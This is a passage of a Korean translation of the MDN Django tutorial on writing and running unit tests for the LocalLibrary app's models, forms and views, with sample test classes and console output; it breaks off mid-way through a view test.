+<p>테스트를 작성하기 위해서는 Django(또는 unittest) 테스트기반 클라스들(<a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>)로부터 어떤 것을 가져오고 그리고 그 다음에 특별한 기능이 기대했던대로 작동하는지 체크하기 위한 분리된 메소드들을 작성합니다. (테스트들은 그 표현식의 결과가 True 또는 False 값인지 또는 그 두 값들이 동등한지 등을 테스트하기 위해 "assert" 메소드를 사용합니다) 당신이 테스트를 시작하면, 그 프레임워크는 당신의 가져온 클라스들안에서 선택된 테스트 메소드들을 실행합니다. 아래에 보이는 것과 같이, 그 테스트 메소드들은 클라스에서 정의된 보통의 셋업 그리고/또는 tear-down 방식을 가지고 독립적으로 실행됩니다.</p>
+
+<pre class="brush: python notranslate">class YourTestClass(TestCase):
+    def setUp(self):
+        # Setup run before every test method.
+        pass
+
+    def tearDown(self):
+        # Clean up run after every test method.
+        pass
+
+    def test_something_that_will_pass(self):
+        self.assertFalse(False)
+
+    def test_something_that_will_fail(self):
+        self.assertTrue(False)
+</pre>
+
+<p>대부분의 테스트들을 위한 최선의 기본 클라스는 <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">django.test.TestCase</a> 입니다. 이 테스트 클라스는 이것이 실행되기 전에 하나의 깨끗한 데이터베이스를 생성하고, 그리고 이 자체의 트랜젝션에서 모든 테스트를 실행합니다. 이 클라스는 자체의 테스트 클라이언트를 갖고있는데, 이것은 당신이 view 레벨에서 그 코드가 사용자와 상호작용하는 것을 시뮬레이션할 수 있게 합니다. 아래 섹션에서는 이  <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">TestCase</a> 기본 클라스를 이용하여 유닛테스트들에 집중할 것입니다. </p>
+
+<div class="note">
+<p><strong>Note:</strong> 이<a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">django.test.TestCase</a> 클라스는 매우 편리합니다. 그러나 어떤 테스트들은 그들이 필요로하는 것보다 느려지는 결과가 올 수 있습니다(모든 테스트들이 그들 자체의 데이터베이스나 또는 view 상호작용의 셋업이 필요한 것은 아닙니다) 한번 당신이 이 클라스를 통해서 무엇을 할 수 있는지 익숙해진다면, 당신은 더 심플한 테스트 클라스들을 가지고 당신의 몇몇 테스트들을 대체하게 될 것입니다.</p>
+</div>
+
+<h3 id="무엇을_테스트해야_하는가">무엇을 테스트해야 하는가?</h3>
+
+<p>Python 또는 Django의 일부분으로서 제공되는 라이브러리들 또는 기능들을 제외한 당신 코드의 모든 면을 테스트해야합니다. </p>
+
+<p>예를 들면, 아래에 정의된 Author 모델을 가정합니다. 당신은 first_name과 last_name이 데이터베이스 CharField로서 적당하게 저장됐는지에 대해 명시적으로 테스트할 필요가 없습니다. 왜냐하면, 그것은 Django에 의해 정의된 것이기 때문입니다. (물론 사실은 당신이 개발하는 중에 이 기능들을 필연적으로 테스트했음에도 불구하고요) 또한 date_of_birth가 날짜 필드에 적합한 값을 갖었는지 테스트하는 것도 필요없습니다. 왜냐하면 그렇게 하는 것은 Django에서 다시한번 더 실행하는 것이 되니까요. </p>
+
+<p>그러나 당신은 그 레이블들(<em>First name, Last name, Date of birth, Died</em>)로 사용된 텍스트 그리고 그 텍스트(100 chars)을 위해 할당한 그 필드의 크기를 확인해야 합니다. 왜냐하면 이것들은 당신이 디자인한 것이고 추후에 깨지거나 변경될 수 있는 것이기 때문입니다.</p>
+
+<pre class="brush: python notranslate">class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'</pre>
+
+<p>단순히, 당신은 당신의 요구에 따라 만들어지 메소드들 <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code>  과 <code style="font-style: normal; font-weight: normal;">__str__()</code> 이 원래 요구된 대로 작동하는지 체크해야합니다. 왜냐하면 이것들은 당신이 만들어낸 코드/비즈니스 로직이기 때문입니다.  <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code>의 경우에 있어서는 Django의 reverse() 메소드는 적당하게 작동되었다고 신뢰할 수 있습니다, 그래서 당신이 테스트해야 하는 것은 실제로 정의되어온 관련된  view 입니다. </p>
+
+<div class="note">
+<p><strong>Note:</strong> 영특한 독자들은 date of birth와 date of death를 합리적인 값으로 제한해야 한다고 적어야 하고, 그리고 death는 birth보다 뒤에 왔는지를 체크해야 한다고 할 것입니다. Django에 있어서 이 제약은 당신의 폼클라스에 추가될 것입니다(당신이 그 필드들의 이러한 모습을 모델 레벨이 아니라 오직 폼 레벨에서 사용될 수 있도록 인증을 정의할 수 있다고 할지라도 말입니다)</p>
+</div>
+
+<p>이런 것들을 마음에 두고서 테스트를 정의하고 실행해봅시다.</p>
+
+<h2 id="테스트_구조_개요">테스트 구조 개요</h2>
+
+<p>무엇을 테스트 할 지 자세히 보기 전에, 간단히 어디서 그리고 어떻게 테스트가 정의되는지 대략 살펴 봅시다.</p>
+
+<p>장고는 유닛테스트의 모듈인 <a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">built-in test discovery</a>을 사용하는데, 이는 현재 작업중인 디렉토리의 <strong>test*.py</strong>라는 패턴을 가진 모든 파일들을 체크합니다. 그 파일들의 이름을 적당하게 붙이는 한, 당신은 당신이 원하는 어떤 구조라도 이용할 수 있습니다. 우리는 당신의 테스트코드를 위한 한 모듈을 만들 것을 추천합니다. 그리고 모델들, 뷰들, 폼들 그리고 테스트가 필요한 어떤 다른 타입의 코드라도 각각을 분리하기를 바랍니다. 예를 들면:</p>
+
+<pre class="notranslate">catalog/
+  /tests/
+    __init__.py
+    test_models.py
+    test_forms.py
+    test_views.py
+</pre>
+
+<p>당신의 LocalLibrary 프로젝트에서 위와 같은 구조의 파일을 만드십시오.  __init__.py 파일은 비어있는 파일입니다.(이것은 Python에게 이 디렉토리가 패키지임을 알려줍니다) skeleton 테스트파일인 /catalog/tests.py를 복사하여 이름을 바꿔서 위의 세개의 테스트파일을 만드십시오.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 skeleton 테스트파일 <strong>/catalog/tests.py 은 우리가 </strong><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django skeleton website</a> 를 만들었을 때 자동으로 생성됩니다. 당신의 테스트들을 여기에 모두 넣는 것도 괜찮습니다만, 당신이 적절하게 테스트를 해나가면 당신은 금방 매우 크고, 관리할 필요 없는 테스트파일로 끝나게 될 것입니다. </p>
+
+<p>이 skeleton 파일은 우리에게 필요하지 않으니 지우십시오.</p>
+</div>
+
+<p><strong>/catalog/tests/test_models.py </strong>파일을 오픈하십시오. 이 파일은 아래와 같이 <code>django.test.TestCase </code>가 import 되었을 것입니다.</p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+
+# Create your tests here.
+</pre>
+
+<p> 당신은 종종 특정한 기능을 테스트하기 위한 개별적인 메소드들을 가지고 당신이 테스트하기를 원하는 각각의 모델/뷰/폼을 위한 테스트 클라스를 추가할 것입니다. 또 다른 경우에는 당신은 그 사용사례의 다방면을 테스트하기 위한 개별적인 테스트기능을 가지고, 특별한 사용사례를 테스트하기 위한 별도의 클라스를 갖기를 원할 것입니다. (예를 들면, 실패한 사례들을 테스트하는 기능을 가지고 모델 필드가 적정하게 인증되었는지 테스트하는 한 클라스) 다시한번, 그 구조는 오직 당신 자신에게 달렸습니다. 그러나 당신이 일관되게 하는 것이 최선의 방법입니다. </p>
+
+<p>아래의 테스트 클라스를 파일 맨아랫부분에 추가하십시오. 이 클라스는 <code>TestCase</code>으로부터 이끌어내어서 어떻게 테스트케이스 클라스를 구축하는지 예시를 보여줍니다.</p>
+
+<pre class="brush: python notranslate">class YourTestClass(TestCase):
+    @classmethod
+    def setUpTestData(cls):
+        print("setUpTestData: Run once to set up non-modified data for all class methods.")
+        pass
+
+    def setUp(self):
+        print("setUp: Run once for every test method to setup clean data.")
+        pass
+
+    def test_false_is_false(self):
+        print("Method: test_false_is_false.")
+        self.assertFalse(False)
+
+    def test_false_is_true(self):
+        print("Method: test_false_is_true.")
+        self.assertTrue(False)
+
+    def test_one_plus_one_equals_two(self):
+        print("Method: test_one_plus_one_equals_two.")
+        self.assertEqual(1 + 1, 2)</pre>
+
+<p>  이 새로운 클래스는 테스트 전 준비를 위해 사용할 수 있는 메쏘드 두 개를 정의합니다. (예를 들면 테스트에 필요한 모델이나 객체를 생성해 놓을 수 있습니다):</p>
+
+<ul>
+ <li><code>setUpTestData()</code> 는 클래스 전체에서 사용되는 설정을 위해서 테스트 시작 때 딱 한 번만 실행됩니다. 테스트 메쏘드가 실행되면서 수정되거나 변경되지 않을 객체들을 이곳에서 생성할 수 있습니다.</li>
+ <li><code>setUp()</code> 은 각각의 테스트 메쏘드가 실행될 때마다 실행됩니다. 테스트 중 내용이 변경될 수 있는 객체를 이곳에서 생성할 수 있습니다 (모든 테스트 메쏘드는 방금 막 생성된 ("fresh") 오브젝트를 입력받게 됩니다).</li>
+</ul>
+
+<div class="note">
+<p>테스트 클래스는 위 예제에서 사용하지 않은 <code>tearDown(</code>h  메소드를 가지고 있습니다. 이 메소드는 특히 데이터베이스 테스트에는 유용하지가 않은데 바로 베이스 클래스인 <code>TestCase</code> 가 데이터베이스 삭제(teardown) 을 처리해주기 때문입니다.</p>
+</div>
+
+<p>아래에는 <code>Assert</code> 함수를 사용하여 조건이 참, 거짓 또는 동일한지 테스트하는 여러 가지 테스트 메서드가 있습니다  (<code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code>). 조건이 예상대로 실행되지 않으면 테스트가 실패하고 콘솔에 오류를 보고합니다.</p>
+
+<div class="note">
+<p>일반적으로 위와 같이 테스트에 <strong>print()</strong> 함수를 포함하면 <strong>안</strong>됩니다. 여기서는 setup 함수들이 콘솔에서 호출되는 순서를 (다음 절에서) 볼 수 있도록 하기 위해 사용되었습니다.</p>
+</div>
+
+<h2 id="어떻게_테스트를_작동시키는가">어떻게 테스트를 작동시키는가</h2>
+
+<p>모든 테스트를 실행하는 가장 쉬운 방법은 다음 명령을 사용하는 것입니다.</p>
+
+<pre class="brush: bash notranslate">python3 manage.py test</pre>
+
+<p>이 명령은 현재 경로에서 <strong>test*.py </strong>패턴을 만족하는 모든 파일을 찾은 후 이들 테스트를 적합한 베이스 클래스를 이용해서 실행합니다 (우리는 현재 여러 개의 테스트 파일을 가지고 있지만 <strong>/catalog/tests/test_models.py </strong>만이 실제 테스트를 포함하고 있습니다. 기본적으로 각각의 테스트는 실패 결과만을 보고하며, 마지막으로 테스트 결과 요약을 출력합니다.</p>
+
+<div class="note">
+<p>만약 <code>ValueError: Missing staticfiles manifest entry ...</code> 과 같은 에러를 마주칠 수 있습니다. 이런 에러는 보통 테스팅 도구가 기본적으로 collectstatic을 실행하지 않고, 당신의 앱이 이를 요구하는 storage 클래스를 사용하기 때문일 수 있습니다 (<a href="https://docs.djangoproject.com/en/2.0/ref/contrib/staticfiles/#django.contrib.staticfiles.storage.ManifestStaticFilesStorage.manifest_strict">manifest_strict</a> 에 더 자세한 정보가 적혀 있습니다). 이 문제를 해결할 수 있는 다양한 방법이 있지만 가장 간단한 방법은 테스트 실행 전에 collectstatic을 실행하는 것입니다.</p>
+
+<pre class="brush: bash notranslate">python3 manage.py collectstatic
+</pre>
+</div>
+
+<p><em>LocalLibrary</em>의 루트 디렉토리에서 테스트를 실행하세요. 당신은 아래와 같은 출력output을 볼 것입니다.</p>
+
+<pre class="brush: bash notranslate">&gt; python3 manage.py test
+
+Creating test database for alias 'default'...
+<strong>setUpTestData: Run once to set up non-modified data for all class methods.
+setUp: Run once for every test method to setup clean data.
+Method: test_false_is_false.
+setUp: Run once for every test method to setup clean data.
+Method: test_false_is_true.
+setUp: Run once for every test method to setup clean data.
+Method: test_one_plus_one_equals_two.</strong>
+.
+======================================================================
+FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true
+    self.assertTrue(False)
+AssertionError: False is not true
+
+----------------------------------------------------------------------
+Ran 3 tests in 0.075s
+
+FAILED (failures=1)
+Destroying test database for alias 'default'...</pre>
+
+<p>여기서 우리는 테스트 하나가 실패했음을 알 수 있으며, 실패한 함수와 실패한 이유를 정확히 볼 수 있습니다 (False가 True가 아니기 때문에 실패하는 것이 당연합니다).</p>
+
+<div class="note">
+<p><strong>팁</strong>: 우리는 위의 출력 결과를 통해서 객체와 메소드에 설명적인, 정보가 많은 이름을 사용하는 것이 테스트 결과를 이해하는데 도움이 된다는 것을 배울 수 있습니다.</p>
+</div>
+
+<p><strong>굵게 </strong>표시된 텍스트는 보통은 테스트 결과에 출력되지 않습니다 (우리가 테스트에서 사용한 <code>print()</code> 함수가 출력한 것입니다). 이는 <code>setUpTestData()</code> 가 클래스 당 한 번, <code>setUp()</code> 이 메소드 당 한 번 실행되는 것을 보여줍니다.</p>
+
+<p>다음 섹션은 특정 테스트만 실행하는 방법과 테스트가 출력하는 정보를 조절하는 방법을 알려줍니다.</p>
+
+<h3 id="테스트에_대해_더_많은_정보를_출력하기">테스트에 대해 더 많은 정보를 출력하기</h3>
+
+<p>테스트 실행에 대한 자세한 정보를 얻으려면 verbosity를 조절할 수 있습니다. 예를 들어 테스트 실패와 더불어 성공 (그리고 테스트 데이터베이스 생성 과정에 대한 정보)를 나열하려면 다음과 같이 verbosity를 "2"로 설정할 수 있습니다.</p>
+
+<pre class="brush: bash notranslate">python3 manage.py test --verbosity 2</pre>
+
+<p>허용되는 verbosity levels 은 0, 1, 2, and 3, 이며 기본값은 "1" 입니다.</p>
+
+<h3 id="테스트의_일부만_실행하기">테스트의 일부만 실행하기</h3>
+
+<p>테스트 중 일부만 실행하려면 패키지, 모듈, <code>TestCase</code> 서브클래스, 메서드의 전체 경로를 지정해주면 됩니다.</p>
+
+<pre class="brush: bash notranslate"># Run the specified module
+python3 manage.py test catalog.tests
+
+# Run the specified module
+python3 manage.py test catalog.tests.test_models
+
+# Run the specified class
+python3 manage.py test catalog.tests.test_models.YourTestClass
+
+# Run the specified method
+python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two
+</pre>
+
+<h2 id="LocalLibrary_테스트">LocalLibrary 테스트</h2>
+
+<p>테스트를 어떻게 돌릴지와 어떤 내용을 테스트할지를 알았으니 이제 실제 예제들을 봅시다.</p>
+
+<div class="note">
+<p><strong>Note: </strong>우리는 가능한 모든 테스트를 작성하지는 않을 것입니다. 하지만 아래의 예제만으로도 테스트가 어떻게 동작하는지와 어떤 테스트를 작성할 수 있을지 아이디어를 얻을 수 있을 것입니다.</p>
+</div>
+
+<h3 id="모델">모델</h3>
+
+<p>위에서 논의했듯이 우리는 우리가 디자인 했거나, 우리가 작성한 코드의 동작만을 테스트해야하지 Django 또는 Python 개발팀에서 이미 테스트 한 라이브러리 / 코드는 테스트하지 않아야 합니다.</p>
+
+<p>예를 들어, 아래 <code>Author</code> 모델을 봅시다. 여기서 우리는 모든 필드의 라벨을 테스트해야 합니다. 우리가 필드의 라벨을 지정하지는 않았지만 우리의 디자인은 라벨의 값이 어때야하는지를 이미 정해놓고 있기 때문입니다. 우리가 이 값들을 테스트하지 않는다면 필드 라벨에 의도된 값을 가지는지 알 수 없습니다. 마찬가지로 비록 우리는 Django가 필드들을 지정된 길이대로 만들 것이라고 믿지만, 그래도 필드의 길이를 테스트해보는 것이 헛되지는 않습니다.</p>
+
+<pre class="brush: python notranslate">class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'</pre>
+
+<p><strong>/catalog/tests/test_models.py </strong>을 열어서 기존 코드를 다음의 <code>Author</code> 모델 테스트 코드로 바꿔주세요.</p>
+
+<p>먼저 우리는 <code>TestCase</code> 를 불러온 후 이를 상속해서 우리의 테스트 케이스인 <code>AuthorModelTest</code> 를 작성합니다. 테스트가 실패할 경우 출력에서 테스트 명을 쉽게 파악할 수 있도록 이름을 작성한 것에 주목해 주세요. 또 우리는 <code>setUpTestData()</code>를 불러서 테스트 시에 이용되지만 수정은 가하지 않는 저자 객체를 생성합니다. </p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+
+from catalog.models import Author
+
+class AuthorModelTest(TestCase):
+    @classmethod
+    def setUpTestData(cls):
+        # Set up non-modified objects used by all test methods
+        Author.objects.create(first_name='Big', last_name='Bob')
+
+    def test_first_name_label(self):
+        author = Author.objects.get(id=1)
+        field_label = author._meta.get_field('first_name').verbose_name
+        self.assertEquals(field_label, 'first name')
+
+    def test_date_of_death_label(self):
+        author=Author.objects.get(id=1)
+        field_label = author._meta.get_field('date_of_death').verbose_name
+        self.assertEquals(field_label, 'died')
+
+    def test_first_name_max_length(self):
+        author = Author.objects.get(id=1)
+        max_length = author._meta.get_field('first_name').max_length
+        self.assertEquals(max_length, 100)
+
+    def test_object_name_is_last_name_comma_first_name(self):
+        author = Author.objects.get(id=1)
+        expected_object_name = f'{author.last_name}, {author.first_name}'
+        self.assertEquals(expected_object_name, str(author))
+
+    def test_get_absolute_url(self):
+        author = Author.objects.get(id=1)
+        # This will also fail if the urlconf is not defined.
+        self.assertEquals(author.get_absolute_url(), '/catalog/author/1')</pre>
+
+<p>필드 테스트들은 필드 라벨의 값(<code>verbose_name</code>)을 확인하고 character 필드의 크기가 예상대로인지를 확인합니다. 이들 테스트 메소드의 변수명은 모두 메소드의 기능을 묘사하고 있으며 같은 규칙을 따릅니다.</p>
+
+<pre class="brush: python notranslate"># Get an author object to test
+author = Author.objects.get(id=1)
+
+# Get the metadata for the required field and use it to query the required field data
+field_label = author._meta.get_field('first_name').verbose_name
+
+# Compare the value to the expected result
+self.assertEquals(field_label, 'first name')</pre>
+
+<p>몇 가지 흥미로운 점들이 있습니다:</p>
+
+<ul>
+ <li>우리는 <code>author.first_name.verbose_name</code> 을 이용해서 <code>verbose_name</code>을 얻지 않습니다. 왜냐면 <code>author.first_name</code>은 문자열이지 우리가 속성에 접근할 수 있는 <code>first_name</code>객체가 아니기 때문입니다. 대신 우리는 author 객체의 <code>_meta</code> 속성을 이용해서 필드에 접근하여 필요한 정보를 얻습니다. </li>
+ <li>우리는 <code>assertTrue(field_label == 'first name'</code> 대신 <code>assertEquals(field_label,'first name')</code> 을 이용했습니다. 왜냐면 만약 테스트가 실패할 경우 후자는 실제 라벨의 값을 알려주어 디버깅을 조금 더 용이하게 만들어주기 때문입니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> <code>last_name</code> 과 <code>date_of_birth</code> 필드의 라벨에 대한 테스트와 <code>last_name</code> 필드의 길이에 대한 테스트는 생략되었습니다. 기존 테스트의 이름 작성 규칙 (naming convention)과 테스트 작성법을 이용해서 직접 테스트를 작성해보세요. </p>
+</div>
+
+<p>우리는 우리가 작성한 메서드도 테스트를 해야 합니다. 객체의 이름이 우리가 예상한 대로 "Last Name", "First Name" 규칙에 맞게 생성되었는지와  <code>Author</code> 객체의 URL이 우리가 예상한 대로 생성되는지를 보면 됩니다. </p>
+
+<pre class="brush: python notranslate">def test_object_name_is_last_name_comma_first_name(self):
+    author = Author.objects.get(id=1)
+    expected_object_name = f'{author.last_name}, {author.first_name}'
+    self.assertEquals(expected_object_name, str(author))
+
+def test_get_absolute_url(self):
+    author = Author.objects.get(id=1)
+    # This will also fail if the urlconf is not defined.
+    self.assertEquals(author.get_absolute_url(), '/catalog/author/1')</pre>
+
+<p>테스트들을 돌려봅시다. Author 모델을 앞선 튜토리얼에 따라 만들었다면 아마 다음과 같이 <code>date_of_death</code> 라벨에 대한 에러가 나올 것입니다. 이 테스트는 라벨명이 라벨의 첫글자를 대문자로 처리하지 않는 장고의 컨벤션에 따라 생성된 것을 가정했기 때문에 실패합니다.</p>
+
+<pre class="brush: bash notranslate">======================================================================
+FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "D:\...\locallibrary\catalog\tests\test_models.py", line 32, in test_date_of_death_label
+    self.assertEquals(field_label,'died')
+AssertionError: 'Died' != 'died'
+- Died
+? ^
++ died
+? ^</pre>
+
+<p>이는 아주 사소한 버그이지만, 테스트를 작성하는 것이 코드를 작성할 때 하는 가정들을 얼마나 꼼꼼히 체크하는지를 보여줍니다. </p>
+
+<div class="note">
+<p><strong>Note: </strong> date_of_death 필드의 라벨을 (/catalog/models.py)  "died" 로 바꾸고 테스트를 다시 돌려보세요.</p>
+</div>
+
+<p>다른 모델을 테스트하는 패턴도 이와 비슷하므로 여기서는 더 다루지 않겠습니다. 다른 모델에 대한 테스트 코드도 직접 작성해 보세요.</p>
+
+<h3 id="Forms">Forms</h3>
+
+<p>Forms를 테스트 하는 것은 모델을 테스트 하는 것과 비슷합니다; 당신이 만들고 디자인한 세세한 모든 것들은 테스트가 필요하며, 프레임워크나 써드 파티 라이브러리 등에 대해서는 테스트를 작성하지 않아도 좋습니다.</p>
+
+<p>따라서 폼에 대한 테스트 코드를 작성할 때는 보통 폼이 우리가 원하는 필드를 가지고 있는지, 그리고 이들 필드들이 적절한 라벨과 도움말과 함께 나타나는지를 테스트하면 됩니다. 직접 별도의 필드와 검증 로직을 작성하지 않은 이상 장고가 필드 타입을 제대로 검증하는지는 테스트 하지 않아도 됩니다 - 예를 들어 이메일 필드가 정말로 이메일 주소 값만을 받아들이는지 직접 테스트 할 필요가 없습니다. 하지만 필드에 대한 다른 추가적인 유효성 검증 로직과 다른 에러 메시지에 대해서는 테스트가 필요합니다.</p>
+
+<p>책 정보를 갱신하기 위한 우리의 Form을 생각해봅시다. 이 Form은 갱신 날짜를 위한 하나의 필드를 가지고 있으며 해당 필드는 우리가 테스트해야 할 라벨과 도움말을 가지고 있습니다.</p>
+
+<pre class="brush: python notranslate">class RenewBookForm(forms.Form):
+    """Form for a librarian to renew books."""
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+    def clean_renewal_date(self):
+        data = self.cleaned_data['renewal_date']
+
+        # Check if a date is not in the past.
+        if data &lt; datetime.date.today():
+            raise ValidationError(_('Invalid date - renewal in past'))
+
+        # Check if date is in the allowed range (+4 weeks from today).
+        if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+        # Remember to always return the cleaned data.
+        return data</pre>
+
+<p><strong>/catalog/tests/test_forms.py</strong> 을 열어서 기존 코드를 아래의 <code>RenewBookForm</code> 테스트 코드로 바꿔주세요. 아래 코드는 우선 우리의 Form과 시간에 관련한 로직 테스트를 도와줄 파이썬 및 장고 라이브러리를 불러옵니다. 그리고 우리는 모델을 테스트 했을 때와 마찬가지로 Form 테스트 클래스를 선언하고, 마찬가지로 테스트의 목적과 기능을 알려주는 이름을 지어줬습니다.</p>
+
+<pre class="brush: python notranslate">import datetime
+
+from django.test import TestCase
+from django.utils import timezone
+
+from catalog.forms import RenewBookForm
+
+class RenewBookFormTest(TestCase):
+    def test_renew_form_date_field_label(self):
+        form = RenewBookForm()
+        self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date')
+
+    def test_renew_form_date_field_help_text(self):
+        form = RenewBookForm()
+        self.assertEqual(form.fields['renewal_date'].help_text, 'Enter a date between now and 4 weeks (default 3).')
+
+    def test_renew_form_date_in_past(self):
+        date = datetime.date.today() - datetime.timedelta(days=1)
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertFalse(form.is_valid())
+
+    def test_renew_form_date_too_far_in_future(self):
+        date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1)
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertFalse(form.is_valid())
+
+    def test_renew_form_date_today(self):
+        date = datetime.date.today()
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertTrue(form.is_valid())
+
+    def test_renew_form_date_max(self):
+        date = timezone.now() + datetime.timedelta(weeks=4)
+        form = RenewBookForm(data={'renewal_date': date})
+        self.assertTrue(form.is_valid())</pre>
+
+<p>앞의 두 함수는 필드의 라벨과 도움말이 예상대로 생성되었는지를 확인합니다. 우리는 필드를 fields 딕셔너리를 통해서 접근했습니다 (e.g. <code>form.fields['renewal_date']</code>). 라벨의 값이 <code>None</code> 인지도 확인해야하는 것을 기억해 두세요. 장고가 올바른 라벨을 렌더하더라도 만약 라벨의 값이 명시적으로 정해지지 않았다면 <code>None</code> 이 반환됩니다.</p>
+
+<p>나머지 함수들은 폼이 적절한 구간 내에 있는 갱신 일자를 수락하는지와 더불어 부적합한 구간에 있는 일자를 거절하는지를 테스트 합니다. 우리가 테스트용 날짜들을 <code>datetime.timedelta()</code> (몇 일이나 몇 주를 나타냅니다)을 이용해서 현재 날짜 근처로(<code>datetime.date.today()</code> ) 생성하는 것을 기억해두세요. 그리고나서 우리는 폼을 만들고, 데이터를 집어넣고, 데이터가 유효한지를 테스트합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 여기서 우리는 데이터베이스나 테스트 클라이언트를 사용하지 않습니다. <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>를 이용해서 테스트 클래스를 만드는 것을 고려해보세요.</p>
+
+<p>또한 우리는 만약 폼이 유효하지 않을 경우 적절한 에러가 발생하는지 역시 검증해야 합니다. 하지만 보통 이 부분은 view processing의 일부로 처리되기 때문에 다음 섹션에서 다루도록 하겠습니다.</p>
+</div>
+
+<p>이것이 form에 대한 전부입니다. 비록 다른 폼들이 있지만, 이들은 우리의 클래스 기반 편집 뷰에 의해 생성된 것들이기 때문에 그쪽에서 테스트 되어야 합니다. 테스트를 실행하고 우리의 코드가 여전히 테스트를 통과하는지 확인해 보세요.</p>
+
+<h3 id="Views">Views</h3>
+
+<p>우리의 뷰 동작을 유효하게 하기 위해서 우리는 Django test <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#django.test.Client">Client</a>를 사용합니다. 이 클래스는 더미 웹 브라우저와 같이 동작하는데, 우리는 URL의 <code>GET</code> 과 <code>POST</code> 요청을 동시에 하여 그 반응을 살핍니다. 우리는 저수준의 HTTP (응답의 헤더와 상태 코드) 부터 HTML을 렌더하기 위한 템플릿, 그리고 우리가 템플릿에 입력하는 컨텍스트 데이터까지 응답에 대한 거의 모든 것을 확인할 수 있습니다. 또한 우리는 (만약 이뤄진다면) redirect가 진행되는 단계와 각 단계에 대한 URL 및 상태 코드 역시 확인할 수 있습니다. 이를 통해서 우리는 각 뷰가 예상된 대로 동작하는지를 확인할 수 있습니다.</p>
+
+<p>우리의 가장 간단한 뷰 중 하나인 모든 저자들의 목록을 반환하는 뷰부터 시작해봅시다. 이 뷰는 <strong>/catalog/authors/</strong> URL(URL 설정 상에서 'authors'로 명명되었습니다) 에서 출력됩니다.</p>
+
+<pre class="brush: python notranslate">class AuthorListView(generic.ListView):
+    model = Author
+    paginate_by = 10</pre>
+
+<p>이 뷰가 generic list 뷰이다 보니 거의 모든 것이 장고에 의해서 처리됩니다. 만약 장고를 믿는다면 우리는 오로지 뷰가 올바른 URL과 뷰 이름으로 접근 가능한지만 테스트하면 됩니다. 하지만 만약 테스트 주도 방법론 (TDD)를 따른다면 우리는 (코드를 작성하기 전에) 뷰가 모든 저자들을 10명 씩 paginate해서 보여주는지를 확인하는 테스트부터 작성해야 합니다.</p>
+
+<p><strong>/catalog/tests/test_views.py</strong>를 열어서 기존 코드를 다음의 <code>AuthorListView</code> 테스트 코드로 바꿔주세요. 앞서와 마찬가지로 우리 모델과 유용한 클래스들을 불러옵니다.<code>setUpTestData()</code> 에서는 pagination을 테스트하기 위해 <code>Author</code> 객체 여러 개를 생성합니다.</p>
+
+<pre class="brush: python notranslate">from django.test import TestCase
+from django.urls import reverse
+
+from catalog.models import Author
+
+class AuthorListViewTest(TestCase):
+    @classmethod
+    def setUpTestData(cls):
+        # Create 13 authors for pagination tests
+        number_of_authors = 13
+
+        for author_id in range(number_of_authors):
+            Author.objects.create(
+                first_name=f'Christian {author_id}',
+                last_name=f'Surname {author_id}',
+            )
+
+    def test_view_url_exists_at_desired_location(self):
+        response = self.client.get('/catalog/authors/')
+        self.assertEqual(response.status_code, 200)
+
+    def test_view_url_accessible_by_name(self):
+        response = self.client.get(reverse('authors'))
+        self.assertEqual(response.status_code, 200)
+
+    def test_view_uses_correct_template(self):
+        response = self.client.get(reverse('authors'))
+        self.assertEqual(response.status_code, 200)
+        self.assertTemplateUsed(response, 'catalog/author_list.html')
+
+    def test_pagination_is_ten(self):
+        response = self.client.get(reverse('authors'))
+        self.assertEqual(response.status_code, 200)
+        self.assertTrue('is_paginated' in response.context)
+        self.assertTrue(response.context['is_paginated'] == True)
+        self.assertTrue(len(response.context['author_list']) == 10)
+
+    def test_lists_all_authors(self):
+        # Get second page and confirm it has (exactly) remaining 3 items
+        response = self.client.get(reverse('authors')+'?page=2')
